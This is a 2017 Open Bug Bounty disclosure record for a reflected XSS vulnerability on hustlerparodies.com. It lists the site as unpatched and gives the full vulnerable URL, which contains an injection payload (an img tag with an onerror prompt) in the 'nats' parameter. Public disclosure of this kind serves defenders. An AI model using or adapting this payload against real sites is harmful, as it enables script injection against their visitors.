Lucene search

K
openbugbountyMuhd_Uwais_OBB:243697
HistoryJun 01, 2017 - 4:36 p.m.

hustlerparodies.com XSS vulnerability

2017-06-0116:36:00
Muhd_Uwais_
www.openbugbounty.org
22
Vulnerable URL:
http://www.hustlerparodies.com/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt(%27OPENBUGBOUNTY%27);%3EMC4wLjkuOS4wLjAuMC4wLjA
Details:
Description Value
Patched: No
Latest check for patch: 17.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 890732
VIP website status: No
Check hustlerparodies.com SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 1 June, 2017 16:36 GMT
Generic security notifications sent to website owner 1 June, 2017 16:39 GMT
Notification sent to subscribers (without technical details) 1 June, 2017 18:17 GMT
Vulnerability details disclosed by researcher 17 November, 2017 10:31 GMT